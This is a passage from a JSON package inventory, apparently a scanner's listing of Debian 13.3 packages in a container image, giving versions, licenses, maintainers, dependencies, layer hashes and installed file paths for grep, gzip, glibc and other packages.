"InstalledFiles": [ "/usr/bin/egrep", "/usr/bin/fgrep", "/usr/bin/grep", "/usr/bin/rgrep", "/usr/share/doc/grep/AUTHORS", "/usr/share/doc/grep/NEWS.Debian.gz", "/usr/share/doc/grep/NEWS.gz", "/usr/share/doc/grep/README", "/usr/share/doc/grep/THANKS.gz", "/usr/share/doc/grep/TODO.gz", "/usr/share/doc/grep/changelog.Debian.gz", "/usr/share/doc/grep/changelog.gz", "/usr/share/doc/grep/copyright", "/usr/share/info/grep.info.gz", "/usr/share/locale/af/LC_MESSAGES/grep.mo", "/usr/share/locale/be/LC_MESSAGES/grep.mo", "/usr/share/locale/bg/LC_MESSAGES/grep.mo", "/usr/share/locale/ca/LC_MESSAGES/grep.mo", "/usr/share/locale/cs/LC_MESSAGES/grep.mo", "/usr/share/locale/da/LC_MESSAGES/grep.mo", "/usr/share/locale/de/LC_MESSAGES/grep.mo", "/usr/share/locale/el/LC_MESSAGES/grep.mo", "/usr/share/locale/eo/LC_MESSAGES/grep.mo", "/usr/share/locale/es/LC_MESSAGES/grep.mo", "/usr/share/locale/et/LC_MESSAGES/grep.mo", "/usr/share/locale/eu/LC_MESSAGES/grep.mo", "/usr/share/locale/fi/LC_MESSAGES/grep.mo", "/usr/share/locale/fr/LC_MESSAGES/grep.mo", "/usr/share/locale/ga/LC_MESSAGES/grep.mo", "/usr/share/locale/gl/LC_MESSAGES/grep.mo", "/usr/share/locale/he/LC_MESSAGES/grep.mo", "/usr/share/locale/hr/LC_MESSAGES/grep.mo", "/usr/share/locale/hu/LC_MESSAGES/grep.mo", "/usr/share/locale/id/LC_MESSAGES/grep.mo", "/usr/share/locale/it/LC_MESSAGES/grep.mo", "/usr/share/locale/ja/LC_MESSAGES/grep.mo", "/usr/share/locale/ka/LC_MESSAGES/grep.mo", "/usr/share/locale/ko/LC_MESSAGES/grep.mo", "/usr/share/locale/ky/LC_MESSAGES/grep.mo", "/usr/share/locale/lt/LC_MESSAGES/grep.mo", "/usr/share/locale/nb/LC_MESSAGES/grep.mo", "/usr/share/locale/nl/LC_MESSAGES/grep.mo", "/usr/share/locale/pa/LC_MESSAGES/grep.mo", "/usr/share/locale/pl/LC_MESSAGES/grep.mo", "/usr/share/locale/pt/LC_MESSAGES/grep.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/grep.mo", "/usr/share/locale/ro/LC_MESSAGES/grep.mo", "/usr/share/locale/ru/LC_MESSAGES/grep.mo", "/usr/share/locale/sk/LC_MESSAGES/grep.mo", "/usr/share/locale/sl/LC_MESSAGES/grep.mo", "/usr/share/locale/sr/LC_MESSAGES/grep.mo", "/usr/share/locale/sv/LC_MESSAGES/grep.mo", "/usr/share/locale/ta/LC_MESSAGES/grep.mo", "/usr/share/locale/th/LC_MESSAGES/grep.mo", "/usr/share/locale/tr/LC_MESSAGES/grep.mo", "/usr/share/locale/uk/LC_MESSAGES/grep.mo", "/usr/share/locale/vi/LC_MESSAGES/grep.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/grep.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/grep.mo", "/usr/share/man/man1/grep.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gzip@1.13-1", "Name": "gzip", "Identifier": { "PURL": "pkg:deb/debian/gzip@1.13-1?arch=amd64\u0026distro=debian-13.3", "UID": "954545ce99bc687e" }, "Version": "1.13", "Release": "1", "Arch": "amd64", "SrcName": "gzip", "SrcVersion": "1.13", "SrcRelease": "1", "Licenses": [ "GPL-3.0-or-later", "GFDL-1.3+-no-invariant", "FSF-manpages", "GPL-3.0-only", "GFDL-3" ], "Maintainer": "Milan Kupcevic \u003cmilan@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/gunzip", "/usr/bin/gzexe", "/usr/bin/gzip", "/usr/bin/zcat", "/usr/bin/zcmp", "/usr/bin/zdiff", "/usr/bin/zegrep", "/usr/bin/zfgrep", "/usr/bin/zforce", "/usr/bin/zgrep", "/usr/bin/zless", "/usr/bin/zmore", "/usr/bin/znew", "/usr/share/doc/gzip/NEWS.gz", "/usr/share/doc/gzip/README.gz", "/usr/share/doc/gzip/TODO", "/usr/share/doc/gzip/changelog.Debian.gz", "/usr/share/doc/gzip/changelog.gz", "/usr/share/doc/gzip/copyright", "/usr/share/info/gzip.info.gz", "/usr/share/man/man1/gzexe.1.gz", "/usr/share/man/man1/gzip.1.gz", "/usr/share/man/man1/zdiff.1.gz", "/usr/share/man/man1/zforce.1.gz", "/usr/share/man/man1/zgrep.1.gz", "/usr/share/man/man1/zless.1.gz", "/usr/share/man/man1/zmore.1.gz", "/usr/share/man/man1/znew.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "hostname@3.25", "Name": "hostname", "Identifier": { "PURL": "pkg:deb/debian/hostname@3.25?arch=amd64\u0026distro=debian-13.3", "UID": "641772722328aedf" }, "Version": "3.25", "Arch": "amd64", "SrcName": "hostname", "SrcVersion": "3.25", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Michael Meskes \u003cmeskes@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/hostname", "/usr/share/doc/hostname/changelog.gz", "/usr/share/doc/hostname/copyright", "/usr/share/man/man1/hostname.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "init-system-helpers@1.69~deb13u1", "Name": "init-system-helpers", "Identifier": { "PURL": "pkg:deb/debian/init-system-helpers@1.69~deb13u1?arch=all\u0026distro=debian-13.3", "UID": "cb52819ec2f1a236" }, "Version": "1.69~deb13u1", "Arch": "all", "SrcName": "init-system-helpers", "SrcVersion": "1.69~deb13u1", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian systemd Maintainers \u003cpkg-systemd-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/deb-systemd-helper", "/usr/bin/deb-systemd-invoke", "/usr/sbin/invoke-rc.d", "/usr/sbin/service", "/usr/sbin/update-rc.d", "/usr/share/bug/init-system-helpers/control", "/usr/share/doc/init-system-helpers/README.invoke-rc.d.gz", "/usr/share/doc/init-system-helpers/README.policy-rc.d.gz", "/usr/share/doc/init-system-helpers/changelog.gz", "/usr/share/doc/init-system-helpers/copyright", "/usr/share/lintian/overrides/init-system-helpers", "/usr/share/man/man1/deb-systemd-helper.1p.gz", "/usr/share/man/man1/deb-systemd-invoke.1p.gz", "/usr/share/man/man8/invoke-rc.d.8.gz", "/usr/share/man/man8/service.8.gz", "/usr/share/man/man8/update-rc.d.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libacl1@2.3.2-2+b1", "Name": "libacl1", "Identifier": { "PURL": "pkg:deb/debian/libacl1@2.3.2-2%2Bb1?arch=amd64\u0026distro=debian-13.3", "UID": "3de9b16851b7cdc0" }, "Version": "2.3.2", "Release": "2+b1", "Arch": "amd64", "SrcName": "acl", "SrcVersion": "2.3.2", "SrcRelease": "2", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-or-later", "LGPL-2.1-only" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libacl.so.1.1.2302", "/usr/share/doc/libacl1/changelog.Debian.amd64.gz", "/usr/share/doc/libacl1/changelog.Debian.gz", "/usr/share/doc/libacl1/changelog.gz", "/usr/share/doc/libacl1/copyright", "/usr/share/lintian/overrides/libacl1" ], "AnalyzedBy": "dpkg" }, { "ID": "libapt-pkg7.0@3.0.3", "Name": "libapt-pkg7.0", "Identifier": { "PURL": "pkg:deb/debian/libapt-pkg7.0@3.0.3?arch=amd64\u0026distro=debian-13.3", "UID": "242cb420cb70321c" }, "Version": "3.0.3", "Arch": "amd64", "SrcName": "apt", "SrcVersion": "3.0.3", "Licenses": [ "GPL-2.0-or-later", "curl", "BSD-3-Clause", "MIT", "GPL-2.0-only" ], "Maintainer": "APT Development Team \u003cdeity@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-6", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19", "liblz4-1@1.10.0-4", "liblzma5@5.8.1-1", "libssl3t64@3.5.4-1~deb13u2", "libstdc++6@14.2.0-19", "libsystemd0@257.9-1~deb13u1", "libudev1@257.9-1~deb13u1", "libxxhash0@0.8.3-2", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libapt-pkg.so.7.0.0", "/usr/share/doc/libapt-pkg7.0/NEWS.Debian.gz", "/usr/share/doc/libapt-pkg7.0/changelog.gz", "/usr/share/doc/libapt-pkg7.0/copyright", "/usr/share/locale/ar/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ast/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/bg/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/bs/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ca/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/cs/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/cy/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/da/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/de/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/dz/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/el/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/es/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/eu/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/fi/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/fr/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/gl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/hu/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/it/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ja/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/km/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ko/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ku/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/lt/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/mr/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/nb/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ne/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/nl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/nn/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/pl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/pt/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ro/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ru/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/sk/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/sl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/sv/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/th/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/tl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/tr/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/uk/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/vi/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/libapt-pkg7.0.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libasan8@14.2.0-19", "Name": "libasan8", "Identifier": { "PURL": "pkg:deb/debian/libasan8@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "1f9360f39b711058" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libasan.so.8.0.0", "/usr/share/lintian/overrides/libasan8" ], "AnalyzedBy": "dpkg" }, { "ID": "libatomic1@14.2.0-19", "Name": "libatomic1", "Identifier": { "PURL": "pkg:deb/debian/libatomic1@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "ef014a5597636d8c" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libatomic.so.1.2.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libattr1@1:2.5.2-3", "Name": "libattr1", "Identifier": { "PURL": "pkg:deb/debian/libattr1@2.5.2-3?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "b0e1266f81063f7" }, "Version": "2.5.2", "Release": "3", "Epoch": 1, "Arch": "amd64", "SrcName": "attr", "SrcVersion": "2.5.2", "SrcRelease": "3", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-or-later", "LGPL-2.1-only" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libattr.so.1.1.2502", "/usr/share/doc/libattr1/changelog.Debian.gz", "/usr/share/doc/libattr1/changelog.gz", "/usr/share/doc/libattr1/copyright", "/usr/share/lintian/overrides/libattr1" ], "AnalyzedBy": "dpkg" }, { "ID": "libaudit-common@1:4.0.2-2", "Name": "libaudit-common", "Identifier": { "PURL": "pkg:deb/debian/libaudit-common@4.0.2-2?arch=all\u0026distro=debian-13.3\u0026epoch=1", "UID": "d20cd9a11d8e018d" }, "Version": "4.0.2", "Release": "2", "Epoch": 1, "Arch": "all", "SrcName": "audit", "SrcVersion": "4.0.2", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "LGPL-2.1-only", "GPL-1.0-only" ], "Maintainer": "Laurent Bigonville \u003cbigon@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/share/doc/libaudit-common/changelog.Debian.gz", "/usr/share/doc/libaudit-common/changelog.gz", "/usr/share/doc/libaudit-common/copyright", "/usr/share/man/man5/libaudit.conf.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libaudit1@1:4.0.2-2+b2", "Name": "libaudit1", "Identifier": { "PURL": "pkg:deb/debian/libaudit1@4.0.2-2%2Bb2?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "bfee89653d19f275" }, "Version": "4.0.2", "Release": "2+b2", "Epoch": 1, "Arch": "amd64", "SrcName": "audit", "SrcVersion": "4.0.2", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "LGPL-2.1-only", "GPL-1.0-only" ], "Maintainer": "Laurent Bigonville \u003cbigon@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit-common@1:4.0.2-2", "libc6@2.41-12+deb13u2", "libcap-ng0@0.8.5-4+b1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0", "/usr/share/doc/libaudit1/changelog.Debian.amd64.gz", "/usr/share/doc/libaudit1/changelog.Debian.gz", "/usr/share/doc/libaudit1/changelog.gz", "/usr/share/doc/libaudit1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libbinutils@2.44-3", "Name": "libbinutils", "Identifier": { "PURL": "pkg:deb/debian/libbinutils@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "88509859a8ec4736" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.44-3", "libc6@2.41-12+deb13u2", "libsframe1@2.44-3", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbfd-2.44-system.so", "/usr/lib/x86_64-linux-gnu/libopcodes-2.44-system.so", "/usr/share/lintian/overrides/libbinutils" ], "AnalyzedBy": "dpkg" }, { "ID": "libblkid1@2.41-5", "Name": "libblkid1", "Identifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libblkid.so.1.1.0", "/usr/share/doc/libblkid1/NEWS.Debian.gz", "/usr/share/doc/libblkid1/changelog.Debian.gz", "/usr/share/doc/libblkid1/changelog.gz", "/usr/share/doc/libblkid1/copyright", "/usr/share/lintian/overrides/libblkid1" ], "AnalyzedBy": "dpkg" }, { "ID": "libbsd0@0.12.2-2", "Name": "libbsd0", "Identifier": { "PURL": "pkg:deb/debian/libbsd0@0.12.2-2?arch=amd64\u0026distro=debian-13.3", "UID": "7031e5c6b2f996a7" }, "Version": "0.12.2", "Release": "2", "Arch": "amd64", "SrcName": "libbsd", "SrcVersion": "0.12.2", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "BSD-3-clause-Regents", "BSD-2-Clause-NetBSD", "BSD-3-clause-author", "BSD-3-clause-John-Birrell", "BSD-5-clause-Peter-Wemm", "BSD-2-Clause", "BSD-2-clause-verbatim", "BSD-2-clause-author", "ISC", "ISC-Original", "MIT", "public-domain", "Beerware" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libmd0@1.1.0-2+b1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbsd.so.0.12.2", "/usr/share/doc/libbsd0/changelog.Debian.gz", "/usr/share/doc/libbsd0/changelog.gz", "/usr/share/doc/libbsd0/copyright", "/usr/share/lintian/overrides/libbsd0" ], "AnalyzedBy": "dpkg" }, { "ID": "libbz2-1.0@1.0.8-6", "Name": "libbz2-1.0", "Identifier": { "PURL": "pkg:deb/debian/libbz2-1.0@1.0.8-6?arch=amd64\u0026distro=debian-13.3", "UID": "26acdf11d0e1ba65" }, "Version": "1.0.8", "Release": "6", "Arch": "amd64", "SrcName": "bzip2", "SrcVersion": "1.0.8", "SrcRelease": "6", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbz2.so.1.0.4", "/usr/share/doc/libbz2-1.0/changelog.Debian.gz", "/usr/share/doc/libbz2-1.0/changelog.gz", "/usr/share/doc/libbz2-1.0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libc-bin@2.41-12+deb13u2", "Name": "libc-bin", "Identifier": { "PURL": "pkg:deb/debian/libc-bin@2.41-12%2Bdeb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "98b4aa37d1744988" }, "Version": "2.41", "Release": "12+deb13u2", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u2", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/getconf", "/usr/bin/getent", "/usr/bin/iconv", "/usr/bin/ldd", "/usr/bin/locale", "/usr/bin/localedef", "/usr/bin/pldd", "/usr/bin/tzselect", "/usr/bin/zdump", "/usr/lib/locale/C.utf8/LC_ADDRESS", "/usr/lib/locale/C.utf8/LC_COLLATE", "/usr/lib/locale/C.utf8/LC_CTYPE", "/usr/lib/locale/C.utf8/LC_IDENTIFICATION", "/usr/lib/locale/C.utf8/LC_MEASUREMENT", "/usr/lib/locale/C.utf8/LC_MESSAGES/SYS_LC_MESSAGES", "/usr/lib/locale/C.utf8/LC_MONETARY", "/usr/lib/locale/C.utf8/LC_NAME", "/usr/lib/locale/C.utf8/LC_NUMERIC", "/usr/lib/locale/C.utf8/LC_PAPER", "/usr/lib/locale/C.utf8/LC_TELEPHONE", "/usr/lib/locale/C.utf8/LC_TIME", "/usr/sbin/iconvconfig", "/usr/sbin/ldconfig", "/usr/sbin/zic", "/usr/share/doc/libc-bin/changelog.Debian.gz", "/usr/share/doc/libc-bin/changelog.gz", "/usr/share/doc/libc-bin/copyright", "/usr/share/libc-bin/nsswitch.conf", "/usr/share/lintian/overrides/libc-bin", "/usr/share/man/man1/getconf.1.gz", "/usr/share/man/man1/tzselect.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libc-dev-bin@2.41-12+deb13u2", "Name": "libc-dev-bin", "Identifier": { "PURL": "pkg:deb/debian/libc-dev-bin@2.41-12%2Bdeb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "75e56cb119ceb166" }, "Version": "2.41", "Release": "12+deb13u2", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u2", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/gencat", "/usr/share/doc/libc-dev-bin/changelog.Debian.gz", "/usr/share/doc/libc-dev-bin/changelog.gz", "/usr/share/doc/libc-dev-bin/copyright", "/usr/share/man/man1/gencat.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libc6@2.41-12+deb13u2", "Name": "libc6", "Identifier": { "PURL": "pkg:deb/debian/libc6@2.41-12%2Bdeb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "345b525ff511d98c" }, "Version": "2.41", "Release": "12+deb13u2", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u2", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/gconv/ANSI_X3.110.so", "/usr/lib/x86_64-linux-gnu/gconv/ARMSCII-8.so", "/usr/lib/x86_64-linux-gnu/gconv/ASMO_449.so", "/usr/lib/x86_64-linux-gnu/gconv/BIG5.so", "/usr/lib/x86_64-linux-gnu/gconv/BIG5HKSCS.so", "/usr/lib/x86_64-linux-gnu/gconv/BRF.so", "/usr/lib/x86_64-linux-gnu/gconv/CP10007.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1125.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1250.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1251.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1252.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1253.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1254.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1255.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1256.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1257.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1258.so", "/usr/lib/x86_64-linux-gnu/gconv/CP737.so", "/usr/lib/x86_64-linux-gnu/gconv/CP770.so", "/usr/lib/x86_64-linux-gnu/gconv/CP771.so", "/usr/lib/x86_64-linux-gnu/gconv/CP772.so", "/usr/lib/x86_64-linux-gnu/gconv/CP773.so", "/usr/lib/x86_64-linux-gnu/gconv/CP774.so", "/usr/lib/x86_64-linux-gnu/gconv/CP775.so", "/usr/lib/x86_64-linux-gnu/gconv/CP932.so", "/usr/lib/x86_64-linux-gnu/gconv/CSN_369103.so", "/usr/lib/x86_64-linux-gnu/gconv/CWI.so", 